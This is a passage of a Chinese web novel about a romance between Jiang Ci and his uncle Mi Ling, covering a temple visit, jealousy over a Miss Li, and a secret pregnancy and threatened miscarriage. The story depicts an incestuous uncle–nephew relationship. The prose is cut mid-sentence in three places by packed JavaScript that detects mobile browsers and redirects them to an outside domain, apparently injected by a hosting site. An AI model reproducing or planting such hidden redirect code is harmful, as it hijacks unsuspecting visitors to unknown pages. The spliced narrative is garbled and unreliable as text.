他们走上一道幽深的小径,外头喧闹的人声逐渐远去了。小径两旁栽种着山玉兰树,已经过了花期,殷殷绿叶中偶见一两抹白粉色。再拐一个弯,豁然到了一处庭院,院中一张石桌,桌上摆着茶水。十多米开外有一排古朴的雕花窗,大约就是斋堂的窗户了。 姜瓷坐下来倒了杯茶,糜岭则走到身旁一处树荫下,从口袋里掏出一个小锦盒递给了小沙弥,小沙弥接过后又原路返回离开了。 “你给他什么东西?”姜瓷问。 糜岭也走到石桌坐下:“一会儿就知道。我们坐一坐,休息好了,舅舅带你去上香。” “哼,鬼鬼祟祟,你做坏事!” “我当着菩萨的面做坏事么!过来,也给舅舅喝一口。” “不给,你自己倒。” 糜岭仍笑意盈盈,也不计较,可还不待去他去拿茶壶,姜瓷就主动凑过来,渡了一口茶给了他。他搂住姜瓷的腰,姜瓷跌进他怀里,笑说:“好不好喝啊?甜不甜?” “嗯……舅舅没留心是什么味道,再给舅舅尝一尝。”糜岭就又吻住他,缠缠绵绵地腻了一阵儿,忽然远处迸开一声肃穆的钟响,吓得姜瓷退开来,心慌得正厉害呢,见糜岭一脸惊愕,也是一副被惊着的样子,一时又笑起来,说:“我们在这里做‘坏事’,菩萨不高兴了,不给你亲了。那个小沙弥怎么还不来?” “这怎么叫做坏事,菩萨不知道我们小宝最好最甜,舅舅亲亲你,只会是好事,”糜岭还是又吻了他一下,朝小径上张望,“我们先去上香吧,好不好?” “还再坐一下。”他拉着糜岭的手往小腹放。 “还痛?” “有点。” 糜岭便给他揉起肚子来,他软在糜岭怀里,渐渐犯了懒,耷拉起眼皮,几乎是马上就睡着了。再一次被钟声惊醒时,那小沙弥正巧回来了,将锦盒放在石桌上,作了个作揖后就又走了。 姜瓷打着哈欠,看糜岭打开锦盒,取出一个用红绳串着的小金锁来。 他说:“哦,我知道了,你叫小沙弥拿这个去给住持开光。给谁戴呀?” 糜岭把红绳往他脖子上套:“除了你还有谁?” “小宝宝才戴这个!” “你不就是我的小宝宝,”糜岭把金锁扶正,“把你锁在舅舅这儿,病和灾都带不走你。” 姜瓷张了张嘴,想说周盛业可是能随时带走他呢,可见糜岭一脸虔诚,仿佛真相信这小小的锁能将他锁住,话到嘴边便迟疑了,没有扫兴,于是只是搂着糜岭肩膀亲昵地蹭了蹭他额头,道:“谢谢你小舅舅。” 糜岭亲亲他:“好乖,睡舒服没有?睡好了我们就走了。” “嗯。” 他们去到庙里的地藏殿,这儿是放置牌位的地方,里面冥暗极了,只有供桌上点着两盏黯淡的烛,隐约照出殿正中地藏王菩萨像的一点儿轮廓来。 糜岭要了好几炷香,烧给他的母亲和两个姐姐,因为腿不方便,就没有跪拜。姜瓷进香的时候,糜岭也一同拿了一支,将香插进香炉后,却和他一起跪下了。姜瓷偷偷觑他一眼,见他跪得吃力,几乎俯不下身来,便潦草磕了个头,马上站起来去扶他。 糜岭紧紧捏着他的手说:“小宝,舅舅自作主张,替你母亲在这儿也立了一个牌位,等挑个好日子开过光了就摆上来。我记得你说过你母亲不喜欢香港,可你总归待在这边,以后逢年过节也好来进香表表孝心。假如有机会,舅舅当然带你回上海去祭拜她。前一阵子张志骁来了信,说她的墓已经修好了。” 姜瓷感觉香炉里的烟直往脸上扑,熏得眼睛热辣辣的。他问:“真的么,你真的带我回上海?” “不会骗你。” 他没有回话,搀着糜岭走出殿外,才说:“妈妈走了之后,周盛业不许我给她烧纸钱,但是有时候王妈会偷偷从山下带几只元宝到金园,晚上,我们就到花园里烧掉。” “现在用不着偷偷摸摸的,你想来庙里,舅舅随时带你来。” 他揉揉发红的眼睛,也紧紧回握住糜岭的手。他心想,糜岭喜欢的那个人总不会也像他一样生着吃不下饭的怪病,也没有了母亲吧?金锁和母亲立的牌位,还有“回上海”,就算回上海只是一句虚言,可总该是糜岭只为了“姜瓷”而做的了吧? 他的胸口忽而怦怦一阵乱跳,双腿发软踉跄了一下,糜岭抓了抓他的腰抱住他,他闷着头一下撞到糜岭怀里,哽咽着说:“阿岭,你……你真好。” 糜岭含笑说:“今天怎么这么爱撒娇。” 他们还没有回去,绕到寺庙中那座黑金佛塔处。糜岭想领姜瓷去爬佛塔,姜瓷顾及着他的腿,没有答应,就与他一同在塔下的庭院里坐了坐。 院落中栽种着许多榕树,还有一棵尤为壮硕的银杏,树干用红布包住了,树枝上也系满了红绳。几个孩子手拉着手在抱那棵银杏,一个个挣红了脸,还不能把树干完全抱住。 这会儿天阴暗下来,似乎又要下雨了。风一吹过来,姜瓷不住地打哆嗦,小腹处的钝痛愈发鲜明了。糜岭便要带他回去,经过那棵银杏树的时候,忽然一道脆生生的声音喊住了他们。 “糜先生!等等,糜先生!”竟是李小姐。 姜瓷脊背一僵,看一眼糜岭,糜岭仿佛没听见,脚步不停,只顾往前走。 于是身后又响起女士高跟鞋啪嗒啪嗒的声音,李小姐跑到两人跟前拦下了他们。这下不好不打招呼了。糜岭垂眼并不看她,说:“李小姐怎么一个人在这儿?” 李小姐道:“我和伯父,还有英嬅,我们一起来的,但是人太多,走散了,我正等他们来找我。我刚才叫你,你没听见么?” 糜岭摇摇头。李小姐见他这么冷淡,一时也无话了,瞧一眼姜瓷,似乎因为他一身男装而没有认出他来,便问:“这位是……” 姜瓷低着头,两手搭在小腹上,头昏起来。 糜岭生怕他站不住要跌一跤,半抱住了他,他便把脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831054|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋在了糜岭胸前。 李小姐一脸讶然,这时候才回过味来,喃喃道:“哦……原来是那位……可是他怎么穿——” 糜岭立刻打断他说:“李小姐,我还赶时间,没有什么事的话我就先走了。” “等等!等一下,那个……上一回在你的公馆里,我失态了,叫你见笑了,实在抱歉,我想请糜先生吃顿饭赔罪。” “不必了。” “那、那你借给我穿的衣服……” “也不必还,李小姐自由处置吧。” 糜岭绕过她又要走,她挪了挪步子仍拦着去路,支支吾吾地道:“还有……还有一件事,我想同糜先生单独说。” 姜瓷揪紧了糜岭的衣襟,耳鸣起来,顿了片刻,他推开糜岭要到一边去,糜岭紧攥着他手腕不让他动,对李小姐道:“他不是外人,就这么说吧。” “哦,哦,这样吗……”她仍吞吞吐吐地,“糜先生,那次在剧院碰见的时候,你不是问我我们以前有没有见过吗,我那时说话没有过脑子,近来细细想了想,五年前那一阵,我仿佛是到香港来过的,是与我父母一起来探亲。” 糜岭皱了皱眉,还是没有正眼瞧她,也不答她的话,说:“我要走了,一会儿我叫小沙弥去寻你伯父,你就在这里等他吧。” 出了寺庙刚一坐进车里,雨就落下来,比来时大许多,淅淅沥沥的。 姜瓷眼泪流得比雨还凶,脸色纸白,满头冷汗,太阳穴一阵阵刺痛,胃里绞着,干呕了好几回,小腹的坠痛蔓延到腿上,整个下半身都麻木了,真仿佛要死了般的难受。 可是他顾不上这些,只是紧抓着糜岭的手一个劲儿地问:“是她吗,是她吗?你要和她结婚么?” 糜岭也只能一遍遍安抚他,解释说:“不是,宝宝,怎么会是她,不要乱想,绝对不是她,她现在至多二十岁,五年前,还是个孩子,舅舅能和她有什么?她伯父要与英嬅结婚,我再和她攀扯,成什么样子。” “那你还和我攀扯呢!还要不像话!我——我可是个——” 糜岭一把捂住他嘴巴,哄道:“别哭了宝宝,你哪儿不舒服?胃痛么?我们这就到医院去。” “不……不要!我不去!我不去!” 糜岭听着,焦躁地喊了一声:“姜瓷!” 姜瓷被他这一吼吓了一吓,摒住了哭,但很快又哽咽起来:“我不要给别人看……呜呜……你把我送到医院去,那些医生就不会让我回来了,他们会抓我去做研究,我就死在医院里了。” “哪儿的话!” “周盛业说的,他跟我这么讲的,所以才一直只有白医生给我看病。” “你听他乱说!” “我不要我就是不去……呜呜呜……你要是送我去,我现在就跳下车死了算了!” 他哭得上气不接下气,脸又憋得青紫,冷汗把马褂浸得湿透。糜岭心里火烧似的,又听他说什么死啊活的,哪还敢再说什么话激他,一边替他揩眼泪一边哄:“好了好了,不去,不哭了,那么舅舅叫白医生来给你瞧瞧,听他怎么说。” “别送我走,我不要走,不想去医院,也不要回山上,呜呜……” “不走不走,你就和我待在一起,哪儿都不去。” 他哭闹了一阵儿,终于累得睡了过去,再睁眼的时候,已经躺在公馆房间里了,小腹还是那样坠痛着,眼前一阵阵发暗,嗓子里干渴得针扎一般。糜岭又是不在。他挣扎着坐起来,踱步到门口,正要开门,忽然听到两个佣人压低了声音在说话。 一个道:“刚刚门口闹什么呢?” “上回来吃饭的小姐,是姓李吧?一个人追到这里来,在大门外面哭,说要是少爷不见,她就不走。” “嗬!瞧着是个厉害的角色。” “可不是么!管家只能请她进来了,外面还下着雨,总不好叫她就这么赖在门口。刚刚我亲眼瞧见少爷领着她进书房了。” “哦……不知道会说什么。” “还能怎么样,男女之间不就那点儿事!不过李小姐再怎么说也是正经人家出身,至少比这一个强!他身子又不好,近来这样子,半死不活的,说不定哪天就没了。” “嘘,别叫他听见了,快把这汤送进去吧,不然又要挨少爷的骂了。” 姜瓷转身回到床上,刚把被子盖住了头,佣人便走进来,将一碗酸梅汤放在了床头。他坐起来端过碗喝了一口,竟是温热的,又酸又涩,只好放了回去。躺回床上,他试着去扯颈上的金锁,拽了几次拽不断,只好作罢,心想,戴着也好,等回了上海——假如他还能活到那时候的话——哪天吃不起饭了,还能把这小玩意儿拿去典当掉,兑些银钱呢。 36. 36 结幽梦 李小姐坐在矮沙发上抽抽搭搭地哭。 糜岭并不理会她,翻看书桌上几沓信纸,上面是姜瓷近来练的字,有照着报纸抄的报导,有杂志上的小故事,还有胡乱写的一些流水账,今天吃了什么做了什么,睡到什么时候,糜岭几时回的家诸如此类。 有几张纸皱巴巴的,像是浸了泪又干了,他瞧着,仿佛心也被泪泡得发皱,揪紧着一阵阵牵痛。他拿笔圈出极标致好看的字来,写的不对的就改正在旁边,就这么翻了十多张纸过去,那一头李小姐终于止了哭。 他便抬头望过去,说:“李小姐,今天我就把话跟你说清楚,这是我们最后一次见面。” 李小姐愣了愣,随即叫道:“可是——可是我是你找了五年的人那!” 糜岭垂了头又去翻信纸,淡淡地说:“那么你一定记得那一晚的事情了。” “对、对啊,我肯定……记、记得的,”她吞吞吐吐地,舔了舔嘴唇,“就是那件事吗,我怎么会忘,我留了封信给你,不辞而别,但……这都是有原因的!你听我解释!” “什么原因?” 她见糜岭像是信了她的话,顿时有了底气,斟酌一番,正要开口,忽听糜岭又说:“你既然念着我,那必定留着我给你的信物,你现在带在身上么?” 她心头猛地一跳,咬了咬牙,道:“你也知道这些年不怎么太平,我与父母为了安宁点儿过日子,一直在搬家,路途中难免会丢失些东西,更别说军阀还会四处抢掠,那个信物……早就被抢走了。” “是吗。”糜岭轻飘飘回了句话,再抬眼看了过来。李小姐不敢与他对视,任由他静静审视了良久,哽咽着说:“你信我,是真的。” “想必外界一定有许多关于我的传闻,你随意一打听就能知道五年前的事情,可是,李小姐,我其实并没有给过什么信物,那封告别信也是子虚乌有,要说真有什么,我也只是和那人跳了一支舞。” “什……你骗人!”李小姐脸上白了又红,蹭地从沙发上站起来,骂道:“你——你因为爱上了别人,所以现在故意地不承认!” “我何必骗你,”糜岭站起身走到了书桌前面来,举了举手杖,“李小姐,你看到了,我的腿脚不方便,年纪又已三十过半,实在配不上你,更何况你也不喜欢我,对么?” 李小姐颤着两肩,默默无言。 糜岭又说:“我听说你伯父在为你征婚,我认识许多青年才俊,可以向你伯父引荐,为你挑个良人。” 她忽然泄了气,绝望地哀哭了一声,跌回沙发上,泣道:“伯父一定要我在上半年就定下婚事,可他带我去见的那些人,有哪一个是靠谱的,这不是把我往火坑推么!我认识的人里也只有你比他们好……假若不是伯父逼我尽早结婚,我何苦说谎骗你。” 话音刚落,门外传来一阵汽车喇叭声,望出去,李先生怒气冲冲走在前头,英嬅则慢一步跟在后面,两人已经进了院子。 李小姐忙拿帕子擦了泪,理了理衣服,再朝书房门口探一眼,已瞧见李先生与英嬅朝这儿来了。李先生脸色铁青,脚步蹬得震天响。她又细声哭起来。 这边糜岭起身去与他们二人打招呼,寒暄过后,说:“李先生,恕我冒昧,擅自把您侄女带了回来,在寺庙碰见她一个人,又下着雨,实在不好叫她独自待着。” 李小姐听糜岭袒护自己,抬眼紧盯着他背影出神。 李先生面色和缓了些:“原来如此,我与英嬅在寺庙四处寻不见她,吓了半死,以为她被拐走了!后来您的司机来传话,说她在您这儿,我只当是她发疯自己跑了来!她实在野得很,已经是结婚的年纪了,还一点不懂规矩!” “说到结婚,”糜岭做了个请的手势,让他们进书房,“我有许多合适的人选可以介绍给李小姐认识。” “哦?当真?”李先生走进门来,坐到了李小姐身边。 英嬅没跟着,对糜岭说:“你们聊,我去看看小瓷好了。” 糜岭点点头:“我正好也想叫你来一趟,他这几天总说肚子疼,比之前还要没精神。” “你带他去医院了么?” “他不愿意去,闹得厉害,我再想想办法。” “尽早吧,真的……拖不得了,上一回我跟你说过的……” 糜岭沉声道:“我马上去找你。” 英嬅便往姜瓷房里去。在走廊里,隔着老远她就闻到一阵辣子的味道,不知炒什么菜,呛得她打了几个喷嚏。寻到厨房,往里看了一眼,正遇到一个打下手的十三四岁的小丫头出来,便拦住她问:“这是烧的什么?” “辣肉面。” “什么!这样呛口伤胃的东西,怎么能给病人吃!我的药方上不是写了,忌生冷辛辣。” 小丫头苦着脸道:“那该怎么样,我们做下人的也难!那一位闹着要吃,我们能不给他做么,少爷都降不住他的脾气!” “是他自己要吃?” “是啊,吃不到就又哭又闹。有一晚,非要吃一个什么‘是多皮里’的东西,好像是种西洋水果,闹着说少爷以前答应要买给他的,大晚上哪里去弄来?他哭了一夜没停,天塌了似的闹啊吵啊。天一亮,少爷马上差管家去买,买回来,他吃了一大盘!不过第二日就又不要吃了,一筐子那东西全给了我们,倒给我和姐妹们尝了回鲜!” 英嬅若有所思,又问:“那水果什么味道?” “酸得很!” “他平日里还吃什么?” 小丫头思忖片刻,说:“一大半时候都吃不下东西,一闻到味道就吐,偶尔有胃口,要不就吃没有味道的,要不就是酸的,辣的。” 英嬅登时呆住了,一阵心惊肉跳,又追问:“他睡得很多是不是?” “可不是吗,有时候都叫不醒,少爷被吓了好几回。” 英嬅“啊”地轻轻叫出声来,立刻小跑着往房里去,推开门,姜瓷醒着,正对着天花板发呆。 “小瓷。”她小心翼翼叫了一声。 姜瓷迟钝地转头看过来:“英嬅姐姐,你与李先生一起来的么?你们来接李小姐?” “对。” “我听佣人说……小舅舅和她在书房里。” 英嬅轻手轻脚坐到床畔,问他要了一只手腕搭脉,道:“你别乱想,李先生也在,他们在谈给李小姐介绍对象的事情。” “李先生还没到的时候,说不定他们在聊别的。” 英嬅有些急躁,扯了扯他手臂,在底下垫了个枕头,道:“先不说话了好吗,我给你诊过脉,再聊别的事。” 她深吸了两口气静心,一点点儿细细地去探脉象,照旧是杂乱无章的,可在这杂乱之中,间或有一两段尤为流利圆润的脉搏微弱地流过指尖。第三次摸到这幅脉象后,她猛然收回了手,一时间目瞪口呆。 姜瓷见她这幅模样,心口紧了紧,收回手臂藏进被子里,垂着眼睛低声说:“我要死了……对不对?” “不,不是,你想错了。”英嬅欲言又止,瞥见了床头那碗酸梅汤,黑乎乎一碗,惊得叫道:“这是什么?药么?你……你可不能再喝药了!” 她起了满身冷汗,怪不得糜岭说姜瓷近来总是肚子疼,果真是她开的药喝出了事情,这下子她可成了罪人了!自己也是经历过这一遭的,怎么没有早点儿觉察! 她急得伸手要去掀碗,姜瓷一下子挣起来去拦:“姐姐干什么,这是酸梅汤,我要喝的!我要喝的!干什么不给我喝,我放在那儿等它凉了,要喝的!还我!还给我!小舅舅不给我喝,你也不给我喝,我都要死了,酸梅汤都喝不得吗!” 他越叫越高声,说到后面哭了出来,挥开英嬅的手,端着碗便往嘴里灌,喝得太急,呛得咳起来,一咳嗽,下腹便愈加坠痛,支撑不住,手一松,终究还是打翻了碗,汤水洒得被褥上全是。 英嬅赶忙拿手绢来擦,劝道:“不是,小瓷,你别急,你听我说——” “还说什么,我自己的身体……咳咳……我自己知道,姐姐你走吧!” 她要来拍他的背给他顺气,他挥开她的手,满头的冷汗,身子一歪倒在床沿,又开始干呕。 “小瓷!”英嬅急急地握一握他的手,终于说:“你不是要死了,你是——是怀孕了!” 姜瓷身体一僵,脑袋里嗡地一声,瞪着泪眼望向英嬅,有气无力地说:“姐姐糊涂了么?还是在戏弄我?怀孕……你知道我在金园里……你说这种蠢话干什么!” “我骗你做什么,我是生过孩子的人,我能不知道?呕吐,胃口不好,喜欢酸的辣的,还嗜睡,我刚刚摸你的手,你身上比一般人烫,全都是怀孕的症状。你近来肚子疼……怕是喝药喝坏了。” 姜瓷听了,心口一窒,只觉天旋地转,小腹又是一阵凌厉的坠痛,像有什么要从肚子里流出来了。他呆了一呆,霎时心绪翻涌,一手捂心口,一手捧肚子,痛得呻吟出声,只觉一口气吊在喉咙升不上来,眼前涌上来一波又一波的暗色。 英嬅大惊失色,扶着他问:“小瓷,你怎么了,你肚子痛么!莫不是——” 他风箱似的粗喘着,从牙缝里挤出话来:“不……小舅舅生、生辰那天晚上……我们……” 英嬅即刻明了,叫道:“这……这更是不好了!你现在痛得厉害么!”没等姜瓷回话,她已经把手摸进被褥下,指尖蹭到一点儿湿濡,随即掀了被子一瞧,床单上已沾染了些许血迹。 她一阵头昏:“不行,我得去叫糜岭来,这个孩子可能要保不住了……我这就去药房抓副安胎药来,你等着,我这就去!” 可她还未起身,姜瓷猛地一把攥住了她手腕,不知道一下子哪儿来这么大力气,竟铁钳似的箍着皮肉。她挣了几下都没挣脱。 “不要……先、先别跟他说,求你……” “姜瓷!” “保、保不住,何必告诉他,假如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831055|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喜欢孩子,岂不是叫他伤心……咳咳咳……保得住的话,如果他不要这孩子……打掉……事情传出去只会毁了他的名声,他以后还如何结婚,”他疲倦地闭上眼睛,头往边上一偏,松开了英嬅,“总归正反都叫他为难,求求你,姐姐,求你……别声张……” 英嬅瞧一眼手臂上被抓出的血痕,也不觉得痛,含着泪沉默片刻,道:“这件事先暂且……现在重要的不是这个,我必须走了,我去给你抓药!你等着我,你暂且忍忍!” 她跑出去,一口气到大门口,却撞见糜岭和白医生站在门廊下说话。她着了慌,想着假如被白医生知道了,告诉周盛业,不知道事情会闹成什么样,冲动之下,奔到白医生跟前大喝一声,指着白医生骂:“你这伥鬼怎么会在?来干什么!” 白医生一头雾水:“糜先生请我来的!” 糜岭也不知其中原委,叫了她一声,说:“怎么了?我好像听到他哭了,是不是在哭?” 她回过身来,一双眼睛瞪得血红。糜岭看了心头一紧,不需要再听她说什么,几乎是连滚带爬跑回了屋子里,一边叫着姜瓷的名字一边又喊来人。白医生也跟着他往里跑,英嬅拦了一下,被他一把推开了。 她踉跄扶住门柱,急得跺了跺脚,想着还是去抓药要紧,随即朝屋子里喊:“老李!老李!你快送我去药馆!老李!” 李先生原本和糜岭说完了话,在客室喝茶,听到动静,马上奔出来。李小姐跟在身后叫道:“发生什么事了?” 李先生道:“少打听!安分待着去!” 李小姐咬牙切齿叫道:“谁稀罕打听!不说便不说!”她回到客室,听着外头乱哄哄地闹腾,还是忍不住起身去瞧,看见走廊里几个佣人端着热水进进出出,实在好奇,便追着其中一人的脚步到了姜瓷房门前。 门虚掩着,往里看,床上并没有人,有两个老妈子低眉垂眼伏在床畔收拾被褥,扯下来的旧床单上赫然一小团血渍。 她吓了一跳,正要收回视线,忽然听到糜岭的声音,矮沉又沙哑,在说:“小宝,先别睡,你看着我,看我一下。” 她循声望去,糜岭抱着姜瓷坐在梳妆台前的椅子上,姜瓷身上裹着一条薄毯,只露了小半张脸,歪头靠在糜岭肩上,又掩住了一部分眼睛,更瞧不清楚他的模样,只模糊的一抹惨色。 她没听到姜瓷回话,但糜岭又出声说:“别哭宝宝,不会有事,不要紧,很痛么,舅舅给你揉一揉,很快就好了……不会的……” 一番话像是他说来安慰自己的。 李小姐抿了抿唇,把门推开了些再往里瞧,白医生站在窗前,手足无措,直叹气。 糜岭看了白医生一眼,对姜瓷说:“你瞧白医生多粗心,过来给你看病,只带了退热药在身上。不过英嬅去取药了是不是?你同舅舅说,她是不是去药房了?” “嗯……去药房……”姜瓷像只是在重复传到耳朵里的话,耷拉着眼皮想要合眼,糜岭立刻高声叫了句“姜瓷”,去摸他眼睛,牵起他的手凑到嘴边,稍用力咬了下指尖。姜瓷眨了眨眼,突然哭了一声,喃喃说:“你咬我干什么!就会欺负我,然后咳……去、去疼别人……” “哪有别人,你说给舅舅听,哪个别人?” “呜呜……好多……” “好多是谁?舅舅可从没听说过一个叫‘好多’的人。” 姜瓷朦朦胧胧的,意识模糊不清,也没反应过来,愣愣地抿着唇,说:“就有……” 糜岭又给他擦眼泪,不忍心再叫他哭,哄道:“好好,有,小宝说有就有,是我错了,我对不起小宝,让你受这么大的委屈。” 姜瓷顿了半晌才有动作,垂眼看下去,糜岭的掌心正贴在绞痛的小腹上,他把手轻轻搭到他手背上,挺了挺身子,凑到糜岭跟前,浅浅吻了他一下,随即仿佛用尽了力气般一倒,揪着心口的衣服呼哧呼哧地急喘起来。 糜岭涨红了眼睛,视线中尽是重影,心头仿佛山崩地裂般摇撼起来,震动得浑身血液沸腾,手脚却冰凉的。他紧贴着姜瓷的脸,想再说些什么话,可嗓子发紧,勉强颤颤叫了声“姜瓷”。 这时候外面来了两个佣人,见李小姐挡在门前,也顾不上说话,一下把她挤到了一边,冲进房里去了。李小姐趔趄一下,再想往里看,门却嘭地关上了。她只好再回到客室里,莫名有些坐立不安,拿茶杯要喝茶时一个不慎将杯盖打落在地,摔碎了。 她弯腰去拾,寻来寻去寻不到盖钮那一块,本不打算找了,可一瞥眼却又瞧见了,就落在沙发与地面的缝隙里,碎片旁似乎还有个什么,亮晶晶一闪一闪。 她伸手去捡,把那东西一握,立刻知道是只戒指,拿出来仔细看,是只三四克拉大的火水钻,举起来对着光一照,散出寡淡的幽蓝色。想必是糜岭送给姜瓷的东西。 她四下望一眼,又到客室门口张望,一个人都没瞧见,于是把戒指往袖子里一塞,藏住了。 37. 37 虚与实之距 梦里燠热异常,床头灯不亮,窗前地砖上浸着一小摊月色。在这模模糊糊的暗之中,姜瓷清楚地看见糜岭的眼睛,狭长的眼角略垂着,显得阴冷,瞳仁里却有火在烧。汗水从他额际滑落下来,坠到睫毛上,他便闭上了眼睛,脸颊贴过来凑到姜瓷唇边,气息不稳地说:“好宝宝,亲亲舅舅……” 天气热了,床上的厚被褥撤下去换了薄的,平日躺着不觉得床硬,可此刻脊背被磨蹭得火辣辣。 他抓着糜岭温湿的手掌放在小腹上,一个劲儿哭喊着痛,仿佛有把凿子在小腹里敲打,当啷当啷,一下又一下,一路敲到天灵盖上。 糜岭却不为所动,忽而一把揪紧了他头发,阴阴地说:“疼?就是要疼的……” 他吓了一跳,睁大了眼睛去瞧身上的人,竟变幻了模样,床畔围拢着各色各样的面孔,他们手里举着凿子与铁钉,冲他狞笑。他尖叫挣扎起来,可那些铁钉还是一个一个凿进皮肉里来了,要把他血淋淋地永远地钉在这坚硬的、浸透了屈辱的床上。 这时候窗外的小院子里忽然响起了脆生生的少女的笑,比月光还清亮,泼进房里来。他望过去,看见李小姐与糜岭倚窗站在一起。 他停下了挣扎的手脚,静静躺在那里,在黑暗而崎岖的床上,任由床单小刀似的一下一下剌刺着汗津津的后背。 惊醒过来时,窗外有同梦里一样的月色。他蜷紧了身体,两手去摸小腹,不知现在到底是如何一种情况,心中惶然焦灼,四处打量一番,没见着英嬅,但糜岭站在门口,不知与门外的什么人在说话。 外面脚步杂沓,窸窸窣窣的动静一阵又一阵,盖过了糜岭的声音,听不清他在说什么。 他默默闭上眼睛,等了半晌,糜岭还没有发现他醒了,但外头终于静下来。 糜岭压着嗓子在问:“到底什么病?” 起初是英嬅细细的回话声,支支吾吾的,模糊不清。姜瓷愈听愈忐忑,生怕她禁不住糜岭追问,要将事情坦白,急得挣起身子来,想要喊她,可还没出声,便听英嬅不耐烦地抬高了声音道:“就是女人会得的病!” 糜岭良久没回话,把手里的手杖往地上杵了又杵:“他不是女人。” 英嬅脸上一囧,说:“我当然知道。你放心,这个病我熟悉,一定能治好,你就别多问了。总之今晚算是化险为夷了。我开的药按时给他喝,他会慢慢有胃口吃东西,也不会再吐,注意不要着凉,不要惹他生气,不管怎么样你就先顺着他吧,再过一两个月,等天再热一些的时候,就该稳定……我是说就该大好了。” 她声音软却韧,甩过来,像救命稻草似的。姜瓷感觉小腹中泛上来一股浅小的暖意,眼泪簌簌地往下掉。 而那一头糜岭仍是疑心重重:“从元宵过后病到现在了,瘦成这幅样子都是因为这个病么?” “我要是掰开来一点点解释,说到天亮都说不清楚,反正你也听不懂。” “可是——” 忽然一道尖细的少女声音插进来:“英嬅,说什么要说这么久,还不好么!现在都夜里几点钟了,我和伯父等得要睡着了!” 随即响起李先生低沉的呵斥声:“英嬅这名字也是你叫得的!” “怎样,她还没和你结婚,就要我叫她伯母么!” “还不闭嘴!” 英嬅在一旁劝:“小点声!随她怎么叫吧!” 又听糜岭轻轻唤道:“李小姐,请李小姐——” 姜瓷只觉头痛欲裂,不愿再听下去,忍不住啜泣了一声,气喘着说:“别、别吵了……” 糜岭回头看一眼,见他伏在床畔,立刻阖上门快步走了过来,半搂住他,给他擦眼泪,柔声说:“什么时候醒的?怎么不叫我?好了小宝,不哭,别哭了,做噩梦了么?没事,不怕,小舅舅在这儿……” 就这么哄了一阵儿,姜瓷逐渐安静下来,但仍有些抽抽搭搭的,腻在他怀里,一直紧紧抓着他两手放在小腹上。 糜岭以为他还是肚子疼得厉害,哄着他要他放手:“舅舅去拿药给你喝,喝了就不痛了,好不好?我去一下马上回来。” 他要把手拿开,可姜瓷掰着他指根,掐得上面全是印子,抽噎着说:“你骗我……呜呜……你出去见李小姐,不会回来了……” “别乱想宝宝,你听外面现在一点儿动静都没有,管家一定请他们回去了。” “没有,她还在……”他浑浑噩噩地,有些糊涂,朝窗外望一眼,“你和李小姐在外面幽会,我怎么叫你,你都不理我……在梦里……” 糜岭吻了吻他脸颊:“是么,小宝做了这样的梦?” 他迟钝地点点头:“你别走,别走……” “好好,我哪也不去,都是舅舅的错,叫我们小宝睡觉都睡不安稳,做那种荒唐的梦。”他安抚着姜瓷,朝门外喊了声,很快一个老妈子端了药进来。 这药实在很苦,闻着都叫姜瓷胃里翻腾,他只勉强喝了一口就全吐了,下意识去推药碗,把汤药打翻了大半。 糜岭心里本就急躁,压着火,放往常还能哄一哄,可今天又是见到他流血,又是目睹了他痛得奄奄一息的样子,实在是耐不住性子,把碗往床头一掷,厉声斥道:“这种时候了还是要耍脾气,养得你越来越娇,喝个药也三翻四次地折腾,苦,有哪个药不苦的!好,你不喝,不喝那便一直痛着!” 他站起身要走,姜瓷慌张地叫了一声,扑过去抱住他手臂,哭道:“我没有……我喝,我喝的!你说了你不走……呜呜……” 他不理,兀自走出去几步,到了门口,禁不住回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831056|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼,姜瓷已经端起了碗,细瘦的两臂哆哆嗦嗦,仿佛连碗的重量都受不住,抿一口药便皱起脸,呛着了,惊天动地地咳起来。 他心里火烧似的,还是回到了床畔,给姜瓷拍着背顺气。姜瓷紧抓着他的手,生怕他再走,哽咽着说:“我没有不喝的吗,真的,刚才我只是……那个药,一下子太苦了,我不是故意的……我喝的……” 糜岭沉沉叹了口气:“舅舅不该跟你发脾气。你刚才醒着的时候喝过一碗,也吐了,我知道你喝不了苦的东西,可是英嬅嘱咐过无论如何必须喝,吃了药你才能好,是不是?你听话宝宝,明天舅舅还让管家去买士多啤梨给你吃,或者你想要什么其他的,舅舅全给你买来,好不好?听话,听话宝宝,舅舅真的很——” 他顿住了话头,捧着姜瓷的脸,轻轻抚过他细长的眉和泪涟涟的眼睛,小而圆的鼻头和苍白的嘴唇,捋开他鬓角粘黏的汗湿的头发,拂过秀小的水滴似的耳廓,指尖顿在脖颈处探他的脉搏。 